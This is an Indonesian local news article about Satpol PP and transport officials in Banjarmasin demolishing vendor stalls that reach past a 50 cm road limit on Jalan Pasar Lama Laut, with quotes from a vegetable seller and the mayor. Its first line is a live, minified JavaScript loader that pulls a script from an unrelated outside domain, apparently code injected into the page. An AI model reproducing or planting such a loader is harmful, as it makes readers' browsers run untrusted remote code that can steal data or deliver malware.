(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Petugas Satpol PP Banjarmasin melakukan eksekusi pembongkaran bangunan dan lapak dagangan warga di Jalan Pasar Lama Laut Kecamatan Banjarmasin Tengah, Kota Banjarmasin, Senin (27/5/2024) pagi.
Pembongkaran dilakukan setelah sebelumnya para pedagang kawasan Pasar Lama itu diberikan surat peringatan pertama, kedua, dan surat peringatan ketiga pada Rabu (22/5/2024).
Isi surat peringatan meminta pedagang dan warga Jalan Pasar Lama Laut untuk membongkar sendiri lapak bangunan yang melewati batas yang telah ditentukan, yaitu 50 cm dari badan jalan.
Baca juga: Potensi Poros Koalisi Pilgub Kalsel Masuk ke Pilwali Banjarbaru
Proses eksekusi petugas gabungan dari Satpol PP Banjarmasin dan petugas dari Dinas Perhubungan (Dishub) Banjarmasin. Dan diamanakan oleh personel kepolisian setempat.
Pantauan Kanalkalimantan.com, petugas Satpol PP terlihat membongkar kanopi atau atap bangunan warga yang posisinya menjorok ke jalan.
Pembongkaran lapak pedagang dimulai dari simpang jembatan Pasar Lama Jalan Pasar Lama Laut, dan sedikit-demi sedikit bergeser hingga ke ujung pasar.
Pembongkaran dilakukan menggunakan alat seadanya seperti linggis, serta menggunakan mesin gerinda untuk memotong seng dan gergaji mesin untuk memotong kayu jati.
Baca juga: 30 Sanggar Mengisi Panggung Hari Tari Dunia di Murdjani Banjarbaru
Pada saat eksekusi, Kepala Satpol PP Banjarmasin Muzaiyin dan Kepala Dinas Perhubungan Kota Banjarmasin, Slamet Begjo terlihat hadir di lokasi.
Salimah, pedagang sayur di kawasan Pasar Lama menjadi salah satu pedagang yang terkena dampak normalisasi Jalan Pasar Lama Laut.
Lapak dagangnya yang dulunya menyentuh jalan kini telah dimundurkan sejauh 50 centimeter dari badan jalan. Begitu juga dengan atap yang melewati batas tanda putih dilakukan pemotongan oleh petugas Satpol PP.
Pedagang yang sudah berjualan sejak tahun 1990-an ini mengaku tak masalah. Yang penting dirinya masih dapat berjualan di kawasan Pasar lLama tersebut, karena merupakan usaha satu-satunya.
“Rela saja, asal masih bisa berjualan,” kata Salimah.
Baca juga: Gelaran KTT WWF ke-10 di Bali Selesai, PLN Sukses Kawal Listrik Tanpa Kedip
Penertiban lapak pedagang di Pasar Lama untuk mengembalikan fungsi Jalan Pasar Lama Laut yang selama ini dijadikan tempat warga menggelar lapak dagangan.
“Ini gasan kebaikan kita jua barataan, karena aslinya fungsi itu adalah fungsi jalan, selama ini masyarakat dan para pedagang mengakat jalan, mengambil jalan yang sangat vital untuk berjualan,” kata Wali Kota Banjarmasin, Ibnu Sina.
Ibnu Sina menginginkan Jalan Pasar Lama Laut tersebut dapat berfungsi seperti semula menjadi akses lalu lintas yang menghubungkan Jalan Sulawesi dan Sungai Jingah. Termasuk dapat mengurai kemacetan yang sering terjadi di perempatan Pasar Lama.
“Karena Jalan Sulawesi itu perempatan lampu merah, kadang-kadang terjadi kemacetan karena akses jalan yang sempit,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.